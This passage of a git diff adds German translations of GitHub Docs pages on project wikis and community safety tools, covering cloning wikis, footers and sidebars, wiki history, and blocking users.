+Wikis sind Teil der Git-Repositorys. Du kannst also Änderungen lokal vornehmen und sie dann mit einem Git-Workflow per Push an dein Repository übergeben.
+
+### Klonen von Wikis auf deinen Computer
+
+Jedes Wiki bietet eine einfache Möglichkeit, seinen Inhalt auf deinen Computer zu klonen.
+Sobald du eine erste Seite auf {% data variables.product.product_name %} erstellt hast, kannst du das Repository mit der angegebenen URL auf deinem Computer klonen:
+
+```shell
+$ git clone https://github.com/<em>YOUR_USERNAME</em>/<em>YOUR_REPOSITORY</em>.wiki.git
+# Clones the wiki locally
+```
+
+Wenn du das Wiki geklont hast, kannst du neue Dateien hinzufügen, vorhandene bearbeiten und deine Änderungen freigeben. Wenn du an Wikis arbeitest, können du und deine Mitarbeiter Branches erstellen. Aber nur die Änderungen, die per Push an den Standardbranch übergeben werden, werden veröffentlicht und für Leser bereitgestellt.
+
+## Informationen zu Wiki-Dateinamen
+
+Der Dateiname bestimmt den Titel deiner Wiki-Seite und die Dateierweiterung bestimmt, wie dein Wiki-Inhalt dargestellt wird.
+
+Wikis nutzen [unsere Open-Source Markup-Bibliothek](https://github.com/github/markup) für die Markup-Umwandlung. Durch die Dateierweiterung wird bestimmt, welcher Konverter verwendet wird. Wenn du z. B. eine Datei *foo.md* oder *foo.markdown* nennen, nutzt Wiki den Markdown-Konverter. Bei einer Datei mit dem Namen *foo.textile* wird der Textile-Konverter verwendet.
+
+Verwende die folgenden Zeichen nicht in Titeln von Wiki-Seiten: `\ / : * ? " < > |`. Benutzer mit bestimmten Betriebssystemen können Dateinamen mit diesen Zeichen nicht verwenden. Stelle sicher, für deinen Inhalt eine Markup-Sprache zu verwenden, die der Dateierweiterung entspricht. Andernfalls wird dein Inhalt nicht korrekt dargestellt.
diff --git a/translations/de-DE/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md b/translations/de-DE/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md
new file mode 100644
index 0000000000..1601243f86
--- /dev/null
+++ b/translations/de-DE/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md
@@ -0,0 +1,25 @@
+---
+title: Changing access permissions for wikis
+intro: 'Only repository collaborators can edit a {% ifversion fpt or ghec or ghes %}public{% endif %} repository''s wiki by default, but you can allow anyone with an account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to edit your wiki.'
+product: '{% data reusables.gated-features.wikis %}'
+redirect_from:
+  - /articles/changing-access-permissions-for-wikis
+  - /github/building-a-strong-community/changing-access-permissions-for-wikis
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Change access permissions
+---
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+3. Under Features, unselect **Restrict edits to collaborators only**.
+   ![Wiki restrict editing](/assets/images/help/wiki/wiki_restrict_editing.png)
+
+## Further reading
+
+- "[Disabling wikis](/communities/documenting-your-project-with-wikis/disabling-wikis)"
diff --git a/translations/de-DE/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md b/translations/de-DE/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md
new file mode 100644
index 0000000000..81e512007b
--- /dev/null
+++ b/translations/de-DE/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md
@@ -0,0 +1,49 @@
+---
+title: Eine Fußzeile oder Seitenleiste für Ihr Wiki erstellen
+intro: 'Du kannst eine benutzerdefinierte Seitenleiste oder Fußzeile für Dein Wiki erstellen, um zusätzliche kontextbezogene Informationen für die Leser bereitzustellen.'
+redirect_from:
+  - /articles/creating-a-footer
+  - /articles/creating-a-sidebar
+  - /articles/creating-a-footer-or-sidebar-for-your-wiki
+  - /github/building-a-strong-community/creating-a-footer-or-sidebar-for-your-wiki
+product: '{% data reusables.gated-features.wikis %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Create footer or sidebar
+ms.openlocfilehash: 0f65114a5258d312d5a81381a59149c589ee54a4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145090331'
+---
+## Eine Fußzeile erstellen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-wiki %}
+3. Klicke im unteren Bereich der Seite auf **Add a custom footer** (Benutzerdefinierte Fußzeile hinzufügen).
+  ![Abschnitt zum Hinzufügen einer Wiki-Fußzeile](/assets/images/help/wiki/wiki_add_footer.png)
+4. Gib über den Texteditor den Inhalt für die Fußzeile ein.
+  ![Wiki-WYSIWYG](/assets/images/help/wiki/wiki-footer.png)
+5. Gib eine Commit-Mitteilung mit einer Beschreibung der neuen Fußzeile ein.
+  ![Wiki-Commit-Mitteilung](/assets/images/help/wiki/wiki_commit_message.png)
+6. Klicke zum Committen der Änderungen im Wiki auf **Save Page** (Seite speichern).
+
+## Eine Seitenleiste erstellen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-wiki %}
+3. Klicke auf **Add a custom sidebar** (Benutzerdefinierte Seitenleiste hinzufügen).
+  ![Abschnitt zum Hinzufügen einer Wiki-Seitenleiste](/assets/images/help/wiki/wiki_add_sidebar.png)
+4. Verwende den Texteditor, um den Inhalt Deiner Seite einzufügen.
+  ![Wiki-WYSIWYG](/assets/images/help/wiki/wiki-sidebar.png)
+5. Gib eine Commit-Mitteilung mit einer Beschreibung der neuen Seitenleiste ein.
+  ![Wiki-Commit-Mitteilung](/assets/images/help/wiki/wiki_commit_message.png)
+6. Klicke zum Committen der Änderungen im Wiki auf **Save Page** (Seite speichern).
+
+## Eine Fußzeile oder Seitenleiste lokal erstellen
+
+Beim Erstellen einer Datei namens `_Footer.<extension>` oder `_Sidebar.<extension>`, wird diese zum Füllen der Fußzeile bzw. der Seitenleiste des Wikis verwendet. Wie bei allen Wiki-Seiten bestimmt auch hier die von Dir gewählte Dateierweiterung, wie wir sie darstellen werden.
diff --git a/translations/de-DE/content/communities/documenting-your-project-with-wikis/disabling-wikis.md b/translations/de-DE/content/communities/documenting-your-project-with-wikis/disabling-wikis.md
new file mode 100644
index 0000000000..4f135c6790
--- /dev/null
+++ b/translations/de-DE/content/communities/documenting-your-project-with-wikis/disabling-wikis.md
@@ -0,0 +1,30 @@
+---
+title: Wikis deaktivieren
+intro: Du kannst das Wiki Deines Repositorys deaktivieren.
+product: '{% data reusables.gated-features.wikis %}'
+redirect_from:
+  - /articles/disabling-wikis
+  - /github/building-a-strong-community/disabling-wikis
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+ms.openlocfilehash: e23f48fc904c18c2d8744966a97a7b7cab73fbc2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145090324'
+---
+Wenn Du ein Wiki deaktivierst, wird der Inhalt ausgeblendet, aber nicht gelöscht. Wenn Du Wikis zu einem späteren Zeitpunkt erneut aktivierst, werden Deine ursprünglichen Seiten wiederhergestellt.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %}
+3. Deaktiviere unter „Funktionen“ die Option **Wiki**.
+  ![Kontrollkästchen zum Deaktivieren des Wikis](/assets/images/help/wiki/wiki_enable_disable.png)
+
+## Weiterführende Themen
+
+- [Zugriffsberechtigungen für Wikis ändern](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)
diff --git a/translations/de-DE/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md b/translations/de-DE/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md
new file mode 100644
index 0000000000..e9f9038bcc
--- /dev/null
+++ b/translations/de-DE/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md
@@ -0,0 +1,65 @@
+---
+title: Editing wiki content
+intro: 'You can add images and links to content in your wiki, and use some supported MediaWiki formats.'
+redirect_from:
+  - /articles/adding-links-to-wikis
+  - /articles/how-do-i-add-links-to-my-wiki
+  - /articles/how-do-i-add-or-upload-images-to-the-wiki
+  - /articles/needs-writing-review-how-do-i-add-or-upload-images-to-the-wiki
+  - /articles/how-do-i-add-images-to-my-wiki
+  - /articles/adding-images-to-wikis
+  - /articles/supported-mediawiki-formats
+  - /articles/editing-wiki-content
+  - /github/building-a-strong-community/editing-wiki-content
+product: '{% data reusables.gated-features.wikis %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+---
+
+## Adding links
+
+You can create links in wikis using the standard markup supported by your page, or using MediaWiki syntax. For example:
+
+- If your pages are rendered with Markdown, the link syntax is `[Link Text](full-URL-of-wiki-page)`.
+- With MediaWiki syntax, the link syntax is `[[nameofwikipage|Link Text]]`.
+
+## Adding images
+
+Wikis can display PNG, JPEG, and GIF images.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-wiki %}
+3. Using the wiki sidebar, navigate to the page you want to change, and then click **Edit**.
+4. On the wiki toolbar, click **Image**.
+   ![Wiki Add image button](/assets/images/help/wiki/wiki_add_image.png)
+5. In the "Insert Image" dialog box, type the image URL and the alt text (which is used by search engines and screen readers).
+6. Click **OK**.
+
+### Linking to images in a repository
+
+You can link to an image in a repository on {% data variables.product.product_name %} by copying the URL in your browser and using that as the path to the image. For example, embedding an image in your wiki using Markdown might look like this:
+
+    [[https://github.com/USERNAME/REPOSITORY/blob/main/img/octocat.png|alt=octocat]]
+
+{% ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %}
+## Adding mathematical expressions and diagrams{% endif %}
+
+{% data reusables.getting-started.math-and-diagrams %}
+
+## Supported MediaWiki formats
+
+No matter which markup language your wiki page is written in, certain MediaWiki syntax will always be available to you.
+- Links ([except AsciiDoc](https://github.com/gollum/gollum/commit/d1cf698b456cd6a35a54c6a8e7b41d3068acec3b))
+- Horizontal rules via `---`
+- Shorthand symbol entities (such as `&delta;` or `&euro;`)
+
+For security and performance reasons, some syntaxes are unsupported.
+- [Transclusion](https://www.mediawiki.org/wiki/Transclusion)
+- Definition lists
+- Indentation
+- Table of contents
diff --git a/translations/de-DE/content/communities/documenting-your-project-with-wikis/index.md b/translations/de-DE/content/communities/documenting-your-project-with-wikis/index.md
new file mode 100644
index 0000000000..b7143cec4a
--- /dev/null
+++ b/translations/de-DE/content/communities/documenting-your-project-with-wikis/index.md
@@ -0,0 +1,33 @@
+---
+title: Ihr Projekt mit Wikis dokumentieren
+shortTitle: Using wikis
+intro: 'Du kannst ein Wiki verwenden, um detaillierte, ausführliche Informationen zu Deinem Projekt bereitzustellen.'
+redirect_from:
+  - /categories/49/articles
+  - /categories/wiki
+  - /articles/documenting-your-project-with-wikis
+  - /github/building-a-strong-community/documenting-your-project-with-wikis
+product: '{% data reusables.gated-features.wikis %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+children:
+  - /about-wikis
+  - /adding-or-editing-wiki-pages
+  - /creating-a-footer-or-sidebar-for-your-wiki
+  - /editing-wiki-content
+  - /viewing-a-wikis-history-of-changes
+  - /changing-access-permissions-for-wikis
+  - /disabling-wikis
+ms.openlocfilehash: a8d90ea14031f629ae764847c18b09f922f57365
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145090318'
+---
+
diff --git a/translations/de-DE/content/communities/documenting-your-project-with-wikis/viewing-a-wikis-history-of-changes.md b/translations/de-DE/content/communities/documenting-your-project-with-wikis/viewing-a-wikis-history-of-changes.md
new file mode 100644
index 0000000000..d67d02fd0f
--- /dev/null
+++ b/translations/de-DE/content/communities/documenting-your-project-with-wikis/viewing-a-wikis-history-of-changes.md
@@ -0,0 +1,59 @@
+---
+title: Änderungsverlauf eines Wikis anzeigen
+intro: 'Da es sich bei Wikis um Git-Repositorys handelt, ist jede von Dir vorgenommene Änderung ein Commit, den du anzeigen kannst.'
+product: '{% data reusables.gated-features.wikis %}'
+redirect_from:
+  - /articles/viewing-a-wiki-s-history-of-changes
+  - /articles/viewing-a-wikis-history-of-changes
+  - /github/building-a-strong-community/viewing-a-wikis-history-of-changes
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: View a history of changes
+ms.openlocfilehash: 1c5330a9067749b4bf0d1f2ed4e6fb9f10b38602
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145090313'
+---
+## Wiki-Verlauf anzeigen
+
+Zum Wiki-Verlauf zählen:
+- Der Benutzer, der die Änderung durchgeführt hat
+- Die von ihm bereitgestellte Commit-Mitteilung
+- Der Zeitpunkt der Änderung
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-wiki %}
+3. Navigiere auf der Wiki-Seitenleiste zur Seite, deren Verlauf Du anzeigen möchtest.
+4. Klicke im oberen Bereich des Wikis auf den Revisionslink.
+   ![Wiki-Revisionslink](/assets/images/help/wiki/wiki_revision_link.png)
+
+## Vorherigen Inhalt anzeigen
+
+In der Wiki-Verlaufstabelle kannst du auf einen [SHA-1-Hash](http://en.wikipedia.org/wiki/SHA-1) (die Abfolge von Buchstaben und Zahlen ganz rechts) klicken, um eine Wiki-Seite so anzuzeigen, wie sie zu einem bestimmten Zeitpunkt vorlag.
+
+![Wiki-SHA-Nummer](/assets/images/help/wiki/wiki_sha_number.png)
+
+## Zwei Revisionen vergleichen
+
+1. Wähle zwei Zeilen aus, die verglichen werden sollen.
+2. Klicke oben in der Verlaufstabelle auf **Überarbeitungen vergleichen**.
+   ![Wiki-Schaltfläche zum Vergleichen von Überarbeitungen](/assets/images/help/wiki/wiki_compare_revisions.png)
+3. Du wirst ein Diff der Änderungen sehen, das aufzeigt, welche Zeilen hinzugefügt, entfernt und geändert wurden.
+
+## Vorherige Änderungen rückgängig machen
+
+Du kannst nur dann Änderungen rückgängig machen, wenn Du berechtigt bist, das Wiki zu bearbeiten.
+
+1. Wähle eine Zeile aus, die zurückgesetzt werden soll.
+2. Klicke oben in der Verlaufstabelle auf **Überarbeitungen vergleichen**.
+   ![Wiki-Schaltfläche zum Vergleichen von Überarbeitungen](/assets/images/help/wiki/wiki_compare_revisions.png)
+3. Du wirst ein Diff der Änderungen sehen, das aufzeigt, welche Zeilen hinzugefügt, entfernt und geändert wurden.
+   ![Diff der Wiki-Überarbeitungen](/assets/images/help/wiki/wiki_revision_diff.png)
+4. Wenn du die neueren Änderungen zurücksetzen möchtest, klicke auf **Änderungen zurücksetzen**.
+   ![Wiki-Schaltfläche zum Rückgängigmachen von Änderungen](/assets/images/help/wiki/wiki_revert_changes.png)
diff --git a/translations/de-DE/content/communities/index.md b/translations/de-DE/content/communities/index.md
new file mode 100644
index 0000000000..e01875576c
--- /dev/null
+++ b/translations/de-DE/content/communities/index.md
@@ -0,0 +1,45 @@
+---
+title: Erstellen von Communitys
+shortTitle: Building communities
+intro: 'Lerne bewährte Methoden für das Moderieren und Einrichten von zusammenarbeitsorientierten, sicheren und effektiven Communitys mit den von der Community getesteten Tools auf GitHub.'
+redirect_from:
+  - /categories/building-a-strong-community
+  - /github/building-a-strong-community
+changelog:
+  label: wikis
+featuredLinks:
+  guides:
+    - /communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors
+    - /communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project
+    - /communities/moderating-comments-and-conversations/managing-disruptive-comments
+  guideCards:
+    - /communities/documenting-your-project-with-wikis/editing-wiki-content
+    - /communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account
+    - /communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization
+  popular:
+    - /communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository
+    - /communities/maintaining-your-safety-on-github/reporting-abuse-or-spam
+    - /communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository
+    - /communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository
+layout: product-landing
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+children:
+  - /setting-up-your-project-for-healthy-contributions
+  - /using-templates-to-encourage-useful-issues-and-pull-requests
+  - /moderating-comments-and-conversations
+  - /maintaining-your-safety-on-github
+  - /documenting-your-project-with-wikis
+ms.openlocfilehash: f6149257ddb7cd77e8ed933d44229be5a46268bb
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145090312'
+---
+
diff --git a/translations/de-DE/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization.md b/translations/de-DE/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization.md
new file mode 100644
index 0000000000..0c62ef4329
--- /dev/null
+++ b/translations/de-DE/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization.md
@@ -0,0 +1,77 @@
+---
+title: Blocking a user from your organization
+intro: Organization owners and moderators can block anyone who is not a member of the organization from collaborating on the organization's repositories.
+redirect_from:
+  - /articles/blocking-a-user-from-your-organization
+  - /github/building-a-strong-community/blocking-a-user-from-your-organization
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Block from your org
+---
+
+You can block non-members from within your organization's settings or from a specific comment made by a user. When you block a user in a comment, you can choose to send the user a notification explaining that they were blocked and why. Otherwise, the user is not directly notified that you've blocked them. Blocked users can still delete their existing content.
+
+{% data reusables.organizations.blocking-a-user %}
+
+{% tip %}
+
+**Tip:** If you're blocking a user because of a heated conversation, consider locking the conversation so only collaborators can comment. For more information, see "[Locking conversations](/communities/moderating-comments-and-conversations/locking-conversations)."
+
+{% endtip %}
+
+At the time that you block a user from your organization:
+- The user stops watching your organization's repositories
+- The user's stars and issue assignments are removed from your repositories
+- The user's votes on discussions or comments in your organization's repositories are deleted
+- The user is removed as a collaborator on your organization's repositories
+- The user's contributions to your organization's repositories are no longer counted as contributions for them
+- Any pending repository or organization invitations to the blocked user are cancelled
+
+After you've blocked a user from your organization, they cannot:
+- Cross-reference your organization's repositories in comments
+- Fork, watch, pin, or star your organization's repositories
+
+In your organization's repositories, blocked users also cannot:
+- Open issues
+- Send, close, or merge pull requests
+- Comment on issues, pull requests, or commits
+- Add or edit wiki pages
+
+## Blocking a user in a comment
+
+1. Navigate to the comment whose author you would like to block.
+2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Block user**.
+![The horizontal kebab icon and comment moderation menu showing the block user option](/assets/images/help/repository/comment-menu-block-user.png)
+3. If you'd like to set a time limit for the block, use the Block user drop-down menu, and select the amount of time you'd like to block the user.
+![Block time limit in the block user drop-down menu](/assets/images/help/organizations/org-block-options-menu-from-comment.png)
+4. If you'd like to hide all of the comments the user has made in the organization, select **Hide this user's comments** and choose a reason.
+![Send a notification in the block user drop-down menu](/assets/images/help/organizations/org-block-options-menu-hide-user-comments.png)
+5. If you'd like to notify the user why they're being blocked, select **Send a notification to this user**.
+![Send a notification in the block user drop-down menu](/assets/images/help/organizations/org-block-options-menu-send-notification.png)
+6. To block the user, click **Block user from organization** or **Block user from organization and send message**.
+![Block user button](/assets/images/help/organizations/org-block-user-button-in-comment.png)
+
+## Blocking a user in the organization settings
+
+1. To block an organization member, first [remove the user](/articles/removing-a-member-from-your-organization) from the organization.
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.block_users %}
+6. Under "Block a user", type the username of the user you'd like to block.
+![Username field](/assets/images/help/organizations/org-block-username-field.png)
+7. If you'd like to set a time limit for the block, use the Block options drop-down menu, and select the amount of time you'd like to block the user.
+![Block options drop-down menu](/assets/images/help/organizations/org-block-options-menu.png)
+8. Click **Block user**.
+![Block button](/assets/images/help/organizations/org-block-user-button.png)
+
+## Further reading
+
+- "[Viewing users who are blocked from your organization](/communities/maintaining-your-safety-on-github/viewing-users-who-are-blocked-from-your-organization)"
+- "[Unblocking a user from your organization](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization)"
+- "[Blocking a user from your personal account](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)"
+- "[Unblocking a user from your personal account](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account)"
+- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
diff --git a/translations/de-DE/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account.md b/translations/de-DE/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account.md
new file mode 100644
index 0000000000..04c086e230
--- /dev/null
+++ b/translations/de-DE/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account.md
@@ -0,0 +1,92 @@
+---
+title: Blockieren von Benutzer*innen für dein persönliches Konto
+intro: 'Du kannst Benutzer*innen blockieren, damit sie nicht auf deine Aktivitäten und Repositorys zugreifen und dir keine Benachrichtigungen senden können.'
+redirect_from:
+  - /articles/blocking-a-user-from-your-personal-account
+  - /github/building-a-strong-community/blocking-a-user-from-your-personal-account
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Block from your account
+ms.openlocfilehash: bd657c221b007b6b574e97f54f2b330401b8fd9b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147422876'
+---
+## Informationen zum Blockieren von Benutzern
+
+Du kannst Benutzer*innen in deinen Kontoeinstellungen oder über deren Profil blockieren. Die Benutzer*innen werden von {% data variables.product.prodname_dotcom %} nicht benachrichtigt, wenn du sie blockierst. Wenn du vermeiden möchtest, dass du zu demselben Projekt beiträgst wie jemand, den du blockiert hast, kannst du eine Warnung für Repositorys mit vorherigen Beiträgen eines blockierten Benutzers anzeigen. Weitere Informationen findest du unter [Blockieren eines Benutzers in deinen Kontoeinstellungen](#blocking-a-user-in-your-account-settings). Die Aktivität blockierter Benutzer in freigegebenen Räumen wird dir weiterhin angezeigt, und blockierte Benutzer können ihre vorhandenen Inhalte löschen.
+
+{% tip %}
+
+**Tipp**: Wenn du einen Benutzer aufgrund einer Auseinandersetzung blockierst, solltest du die Unterhaltung sperren, damit nur Mitarbeiter kommentieren können. Weitere Informationen findest du unter [Sperren von Unterhaltungen](/communities/moderating-comments-and-conversations/locking-conversations).
+
+{% endtip %}
+
+Wenn du einen Benutzer blockierst:
+- Folgt er dir nicht mehr
+- Beobachtet er deine Repositorys nicht mehr und löst sie
+- Kann er keinen Organisationen beitreten, die dir gehören
+- Werden die Sternmarkierungen und Issuezuweisungen des Benutzers aus deinen Repositorys entfernt
+- Werden die Abstimmungen des Benutzers zu Diskussionen oder Kommentaren in deinen Repositorys gelöscht
+- Wird er als Mitarbeiter aus deinen Repositorys entfernt
+- Werden die Beiträge des Benutzers zu deinen Repositorys nicht mehr als Beiträge für ihn gezählt
+- Werden deine Beiträge zu den Repositorys des Benutzers nicht mehr als Beiträge für dich gezählt
+- Wirst du als Mitarbeiter von seinen Repositorys entfernt
+- Wird sein Sponsoring für dich beendet
+- Werden alle ausstehenden Repository- oder Kontonachfolgeeinladungen an oder von dem blockierten Benutzer storniert
+- Wird der Benutzer als Mitarbeiter aus allen deinen Projekten und {% data variables.projects.projects_v1_boards %} entfernt
+- Wirst du als Mitarbeiter*in aus allen Projekten und {% data variables.projects.projects_v1_boards %} des Benutzers entfernt
+
+Ein blockierter Benutzer kann Folgendes nicht mehr tun:
+- Benachrichtigungen an dich senden, auch nicht durch Erwähnen deines Benutzernamens über [@mentioning](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)
+- Von dir erstellte Issues und Pull Requests kommentieren oder bearbeiten
+- Auf deine Kommentare zu Issues, Pull Requests und Commits reagieren
+- Dir folgen oder deine Inhalte in seinem Aktivitätsfeed sehen
+- Dich Issues oder Pull Requests zuweisen
+- Dich als Mitarbeiter für seine Repositorys einladen
+- Dich als Mitarbeiter zu einem Sicherheitshinweis einladen
+- Querverweise auf deine Repositorys in Kommentaren vornehmen
+- Deine Repositorys forken, beobachten, anheften oder mit Stern markieren
+- Dich finanziell unterstützten
+- Dich seinen Projekten und {% data variables.projects.projects_v1_boards %} als Mitarbeiter hinzufügen
+- Änderungen an deinen öffentlichen Projekten und {% data variables.projects.projects_v1_boards %} vornehmen
+
+In deinen Repositorys können blockierte Benutzer*innen außerdem Folgendes nicht tun:
+- Eröffnen von Issues
+- Senden, Schließen oder Mergen von Pull Requests
+- Issues, Pull Requests oder Commits zu kommentieren,
+- Wiki-Seiten hinzufügen oder bearbeiten
+
+## Benutzer*innen in deinen Kontoeinstellungen blockieren
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.blocked_users %}
+3. Gib unter „Benutzer blockieren“ den Benutzernamen der Person ein, die du blockieren möchtest. Klicke dann auf **Benutzer blockieren**.
+  ![Feld „Benutzername“ und Schaltfläche „Blockieren“](/assets/images/help/settings/user-settings-block-user.png)
+4. Um eine Warnung anzuzeigen, wenn du ein Repository aufrufst, zu dem ein blockierter Benutzer beiträgt, klicke auf **Mich warnen, wenn ein blockierter Benutzer bereits an einem Repository mitgearbeitet hat**.
+  ![Option zum Warnen bei blockierten Benutzern](/assets/images/help/settings/warn-block-user.png)
+
+## Einen Benutzer über seine Profilseite blockieren
+
+{% data reusables.profile.user_profile_page_navigation %} {% data reusables.profile.user_profile_page_block_or_report %}
+3. Klicke auf **Benutzer blockieren**.
+   ![Modales Feld mit Optionen zum Blockieren von Benutzern oder zum Melden von Missbrauch](/assets/images/help/profile/profile-blockuser.png)
+
+{% note %}
+
+Kontaktiere uns unter {% data variables.contact.report_abuse %}, wenn du belästigt wirst. {% data reusables.policies.abuse %}
+
+{% endnote %}
+
+## Weiterführende Themen
+
+- [Anzeigen von Benutzern, die für dein persönliches Konto blockiert wurden](/communities/maintaining-your-safety-on-github/viewing-users-youve-blocked-from-your-personal-account)
+- [Aufheben der Blockierung eines Benutzers für dein persönliches Konto](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account)
+- [Blockieren eines Benutzers für deine Organisation](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)
+- [Entsperren eines Benutzers für deine Organisation](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization)
+- [Melden von Missbrauch oder Spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)
+- [Einschränken von Interaktionen mit dem Repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)
diff --git a/translations/de-DE/content/communities/maintaining-your-safety-on-github/index.md b/translations/de-DE/content/communities/maintaining-your-safety-on-github/index.md
new file mode 100644
index 0000000000..7fc0be5f0d
--- /dev/null
+++ b/translations/de-DE/content/communities/maintaining-your-safety-on-github/index.md
@@ -0,0 +1,31 @@
+---
+title: Deine Sicherheit auf GitHub aufrechterhalten
+shortTitle: Maintaining safety
+intro: 'Um ein positives und sicheres Umfeld für Dich und die Community für Dein Projekt auf {% data variables.product.prodname_dotcom %} zu schaffen, kannst du Benutzer blockieren und entsperren sowie störende Inhalte melden.'
+redirect_from:
+  - /articles/encouraging-positive-contributions-in-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/encouraging-positive-contributions-in-your-organization
+  - /github/building-a-strong-community/encouraging-positive-contributions-to-your-project
+  - /articles/encouraging-positive-contributions-to-your-project
+  - /github/building-a-strong-community/maintaining-your-safety-on-github
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Community
+children:
+  - /blocking-a-user-from-your-personal-account
+  - /viewing-users-youve-blocked-from-your-personal-account
+  - /unblocking-a-user-from-your-personal-account
+  - /blocking-a-user-from-your-organization
+  - /viewing-users-who-are-blocked-from-your-organization
+  - /unblocking-a-user-from-your-organization
+  - /reporting-abuse-or-spam
+ms.openlocfilehash: efb5a58d8a9be4b6c6c4a2903bc714d35cd1ac9b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145090277'
+---
+
diff --git a/translations/de-DE/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md b/translations/de-DE/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md
new file mode 100644
index 0000000000..74926a3e07
--- /dev/null
+++ b/translations/de-DE/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md
@@ -0,0 +1,73 @@
+---
+title: Missbrauch oder Spam melden
+intro: 'Du kannst Verhalten und Inhalte melden, die die Community-Richtlinien und -Bedingungen verletzen.'
+redirect_from:
+  - /articles/reporting-abuse-or-spam
+  - /github/building-a-strong-community/reporting-abuse-or-spam
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Community
+ms.openlocfilehash: 288ba817cfeaeec0d695157fb6310ba6ab6a662f
